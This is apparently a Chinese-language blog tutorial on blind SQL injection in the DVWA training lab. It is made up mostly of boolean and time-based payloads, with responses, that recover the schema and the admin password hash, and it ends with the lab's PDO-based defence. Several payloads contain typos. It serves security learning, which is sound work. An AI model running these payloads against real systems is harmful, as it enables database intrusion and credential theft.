dvwa-sql注入（blind）
作者：互联网
SQL Injection(Blind)：
SQL Injection（Blind），即SQL盲注。
与一般注入的区别在于：
一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
手工盲注思路：
手工盲注的过程，就像你与一个机器人聊天，这个机器人知道的很多，但只会回答“是”或者“不是”，因此你需要询问它这样的问题，例如“数据库名字的第一个字母是不是a啊？”，通过这种机械的询问，最终获得你想要的数据。
盲注分为：基于布尔的盲注、基于时间的盲注以及基于报错的盲注。
盲注步骤：
1.判断是否存在注入，注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
1.查看源代码：
2.判断是否存在注入，注入的类型
不管输入框输入为何内容，页面上只会返回以下2种情形的提示：
满足查询条件则返回"User ID exists in the database."，不满足查询条件则返回"User ID is MISSING from the database."；两者返回的内容随所构造的真假条件而不同，说明存在SQL盲注。
3.输入1‘and 1=1 #
4.输入1’and 1=2 #
存在字符型的盲注。
5.然后猜解数据库名：输入1’ and length(database())=4 #，显示存在;
6.输入1’ and length(database())=5 #
说明长度为４
7.判断数据库名称的字符组成元素
此时利用substr()函数从给定的字符串中，从指定位置开始截取指定长度的字符串，分离出数据库名称的每个位置的元素，并分别将其转换为ASCII码，与对应的ASCII码值比较大小，找到比值相同时的字符，然后各个击破。
mysql数据库中的字符串函数 substr()函数和hibernate的substr()参数都一样，但含义有所不同。
用法：
substr(string string,num start,num length);
string为字符串；
start为起始位置；
length为长度。
区别：
mysql中的start是从1开始的，而hibernate中的start是从0开始的。
8.进行尝试：
1‘ and ascii(substr(database(),1,1))>100 miss
1' and ascii(substr(database(),1,1))>95 exit
1' and ascii(substr(database(),1,1))>98 exit
1' and ascii(substr(database(),1,1))=100 exit
说明第一个字符是d
以此类推发现是：d,v,w,a
9.猜解数据库中的表名
数据表属性：指定数据库下表的个数、每个表的名称（表名长度，表名组成元素）
对于Mysql，DBMS数据库管理系统--->information_schema库--->tables表--->table_schema,table_name,table_rows,...字段。其结构如下所示：
10.猜解表的个数
1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 # miss
1‘and (select cout(table_name) from information_schema.tables where table_schema=database())>5 # miss
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 # miss
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # exit
数据库中表的个数为2
11.猜解表的名称
- 表名称的长度
# 1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()
# 2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1
# 3.以当前连接数据库第1个表的名称作为字符串，从该字符串的第一个字符开始截取其全部字符
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
# 4.计算所截取当前连接数据库第1个表名称作为字符串的长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
# 5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件，联合and逻辑构造特定的sql语句进行查询，根据查询返回结果猜解表名称的长度值
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 # miss
1‘ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 # exit
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 # exit
1‘ and length(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9. # exit
dvwa数据库中第1个表的名称字符长度=9
- 表名称字符的组成
依次取出dvwa数据库第1个表的第1/2/.../9个字符分别猜解：
| 输入 | 输出 |
|---|---|
| 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>90 # | exists |
| 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>105 # | MISSING |
| 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>96 # | exists |
| 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 # | exists |
| 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # | MISSING |
| 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 # | MISSING |
| 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # | exists |
dvwa数据库第1个表的第1个字符的ASCII码=103，对应的字符为g
以此类推 最终为guestbook
12.猜解表中的字段名
表中的字段名属性：表中的字段数目、某个字段名的字符长度、字段的字符组成及位置；某个字段名全名匹配
以[dvwa库-users表]为例：
1）猜解users表中的字段数目：
# 判断[dvwa库-users表]中的字段数目
(select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=xxx
# 判断在[dvwa库-users表]中是否存在某个字段（调整column_name取值进行尝试匹配）
(select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='xxx')=1
# 猜解第i+1个字段的字符长度
length(substr((select column_name from information_shchema.columns limit $i$,1),1))=xxx
# 猜解第i+1个字段的字符组成，j代表组成字符的位置（从左至右第1/2/...号位）
ascii(substr((select column_name from information_schema.columns limit $i$,1),$j$,1))=xxx
| 输入 | 输出 |
|---|---|
| 1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>10 # | MISSING |
| 1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>5 # | exists |
| 1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>8 # | MISSING |
| 1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # | exists |
13.猜解users表中的各个字段的名称
按照常规流程，从users表的第1个字段开始，对其猜解每一个组成字符，获取到完整的第1个字段名称...然后是第2/3/.../8个字段名称。
当字段数目较多、名称较长的时候，若依然按照以上方式手工猜解，则会耗费比较多的时间。当时间有限的情况下，实际上有的字段可能并不太需要获取，字段的位置也暂且不作太多关注，首先获取几个包含关键信息的字段，如：用户名、密码...
| 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 # | exists |
| 1' and (select coount(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #|exists|
14.获取表中字段的值：
1.用户名的字段值：
1' and length(substr((select user from users limit 0,1),1))=5 # exits
2.密码的字段值:
| 1' and length(substr((select password from users limit 0,1),1))>20 # | exists |
|---|---|
| 1' and length(substr((select password from users limit 0,1),1))>40 # | MISSING |
| 1' and length(substr((select password from users limit 0,1),1))>30 # | exists |
| 1' and length(substr((select password from users limit 0,1),1))>35 # | MISSING |
| 1' and length(substr((select password from users limit 0,1),1))>33 # | MISSING |
| 1' and length(substr((select password from users limit 0,1),1))=32 # | exists |
可知，密码有可能经过md5加密
| 输入 | 输出 |
|---|---|
| 1' and substr((select user from users limit 0,1),1)='admin' # | |
| 1' and (select count(*) from users where user='admin')=1 # | exists |
| 1' and (select count(*) from users where user='admin123')=1 # | MISSING |
| 1' and (select count(*) from users where user='root')=1 # | MISSING |
| ==>user字段的第1组取值为admin | |
| 1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1 # | exists |
| 1' and (select count(*) from users where user='admin' and password='e10adc3949ba59abbe56e057f20f883e')=1 # | MISSING |
| ==>user---password字段的第1组取值：admin---password |
中等版：
需要借助拦截工具进行抓包、改包、重放恶意构造的数据，（bp）
判断是否存在注入，注入的类型
虽然前端界面上只能通过下拉列表选择数字，提交后查询显示的都是"exists"，但是抓包工具修改数据重放之后是可以在工具中观察到响应数据有"MISSING"和"exists"两种返回结果的，如下：
| 输入 | 输出 |
|---|---|
| ① | 1 |
| ② | ' |
| ③ | 1 and 1=1 # |
| ④ | 1 and 1=2 # |
| ⑤ | 1' and 1=1 # |
| ⑥ | 1' and 1=2 # |
存在数字型注入；
猜解当前连接数据库的名称
对于 if(判断条件,sleep(n),1) 函数而言，若判断条件为真，则执行sleep(n)函数，达到在正常响应时间的基础上再延迟响应时间n秒的效果；若判断条件为假，则返回设置的1（真），此时不会执行sleep(n)函数
| 输入 | 输出（Response Time） |
|---|---|
| 1 and if(length(database())=4,sleep(2),1) # | 2031 ms |
| 1 and if(length(database())=5,sleep(2),1) # | 26 ms |
| 1 and if(length(database())>10,sleep(2),1) # | 30 ms |
以上根据响应时间的差异，可知当前连接数据库名称的字符长度=4，此时确实执行了sleep(2)函数，使得响应时间比正常响应延迟2s（2000ms
高等版：
1.查看代码：
漏洞利用：
虽然添加了LIMIT 1，但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数，会使得基于时间盲注的准确性受到影响，这里我们只演示基于布尔的盲注：
不可能版：
impossible.php代码采用了PDO技术，划清了代码与数据的界限，有效防御SQL注入
只有当返回的查询结果数量为一个记录时，才会成功输出，这样就有效预防了暴库
利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串，满足条件才知晓query查询语句
Anti-CSRF token机制的加入了进一步提高了安全性，session_token是随机生成的动态值，每次向服务器请求，客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证，相互匹配才会验证通过标签：blind,name,database,dvwa,sql,table,where,select,schema 来源： https://www.cnblogs.com/my-boke/p/14402031.html